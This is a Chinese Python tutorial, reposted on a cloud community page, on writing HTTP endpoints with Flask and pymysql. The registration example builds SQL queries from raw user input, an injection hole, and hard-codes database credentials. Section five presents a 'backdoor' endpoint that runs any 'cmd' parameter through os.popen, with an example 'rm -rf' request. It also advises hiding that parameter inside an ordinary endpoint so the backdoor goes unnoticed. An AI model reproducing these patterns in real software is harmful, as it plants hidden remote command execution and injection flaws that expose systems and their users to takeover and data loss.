Python學習之==>介面開發

來源:互聯網
上載者:User

標籤:開啟   技術   結果   and   HERE   第一個   comm   com   min   

一、開發介面的作用

  1、在別的介面沒有開發完成的時候可以類比一些介面以便測試已經開發完成的介面,例如假的支付介面,類比支付成功、支付失敗。

  2、瞭解介面是如何?的:資料互動、資料返回

  3、開發給別人查看資料,避免其他人直接操作資料庫

二、介面開發的步驟

  1、執行個體化server

  2、裝飾器下面的函數變為一個介面

  3、啟動服務

三、開發一個簡單的介面

 1 import flask,json 2 server = flask.Flask(__name__)           # 執行個體化server,把當前這個python檔案當作一個服務,__name__代表當前這個python檔案 3 @server.route(‘/index‘,methods=[‘get‘])  # ‘index‘是介面路徑,methods不寫,則預設get請求 4 # 裝飾器,下面的函數變為一個介面 5 def index(): 6     res = {‘msg‘:‘這是我開發的第一個介面‘,‘msg_code‘:‘0000‘} 7     return json.dumps(res,ensure_ascii=False) 8     # json.dumps 序列化時對中文預設使用的ascii編碼.想輸出真正的中文需要指定ensure_ascii=False 9 10 server.run(port=8888,debug=True,host=‘0.0.0.0‘)  # 啟動服務11 # debug=True,改了代碼後,不用重啟,它會自動重啟12 # ‘host=‘0.0.0.0‘別人可以通過IP訪問

運行這段代碼,開啟瀏覽器,輸入http://127.0.0.1:8888/index,就可以看到如下運行結果:

四、開發一個註冊介面

 1 import flask,json 2 server = flask.Flask(__name__)  3 @server.route(‘/reg‘,methods=[‘post‘]) 4 def reg(): 5     username =flask.request.values.get(‘username‘) 6     pwd = flask.request.values.get(‘pwd‘) 7     if username and pwd: 8         sql = ‘select * from my_user where username = "%s";‘%username 9         if my_db(sql):10             res = {‘msg‘:‘使用者已存在‘,‘msg_code‘:2001}11         else:12             insert_sql = ‘insert into my_user(username,passwd,is_admin) values ("%s","%s",0);‘%(username,pwd)13             my_db(insert_sql)14             res = {‘msg‘:‘註冊成功‘,‘msg_code‘:0000}15     else:16         res = {‘msg‘:‘必要欄位未填,請查看介面文檔!‘,‘msg_code‘:1001}17     return json.dumps(res,ensure_ascii=False)18 19 server.run(port=8888,debug=True,host=‘0.0.0.0‘)  # 啟動服務20 # debug=True,改了代碼後,不用重啟,它會自動重啟21 # ‘host=‘0.0.0.0‘別人可以通過IP訪問

my_db()為另外封裝的函數,應放在介面上面,具體代碼如下:

 1 def my_db(sql): 2     import pymysql 3     coon = pymysql.connect( 4         host=‘192.168.1.112‘, user=‘test‘, passwd=‘111111‘, 5         port=3306, db=‘test‘, charset=‘utf8‘) 6     cur = coon.cursor() #建立遊標 7     cur.execute(sql)#執行sql 8     if sql.strip()[:6].upper()==‘SELECT‘: 9         res =  cur.fetchall()10     else:11         coon.commit()12         res = ‘ok‘13     cur.close()14     coon.close()15     return res

使用postman測試結果如下:

五、後門介面

 1 import os 2 @server.route(‘/error‘,methods=[‘get‘]) 3 def cmd(): 4     cmd = flask.request.values.get(‘cmd‘)  # 介面入參 5     res = os.popen(cmd)                    # 執行使用者命令 6     return res.read()                      # 返回執行結果 7     # http://127.0.0.1:8888/error?cmd=rm -rf a.txt 後門介面可以直接通過瀏覽器刪除專案檔 8     # 隱蔽一點的方法,把cmd = flask.request.values(‘cmd‘,None)寫入正常介面 9     # 預設可以不傳,一但傳了再res = os.popen(cmd)10 server.run(port=8888,debug=True,host=‘0.0.0.0‘)  # 啟動服務11 # debug=True,改了代碼後,不用重啟,它會自動重啟12 # ‘host=‘0.0.0.0‘別人可以通過IP訪問

一個介面檔案中可以包含多個介面,只要介面路徑不一致即可。但是server.run()一定要放到所有介面最底下,否則,在server.run()下面的介面是不會被啟動並執行。

Python學習之==>介面開發

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.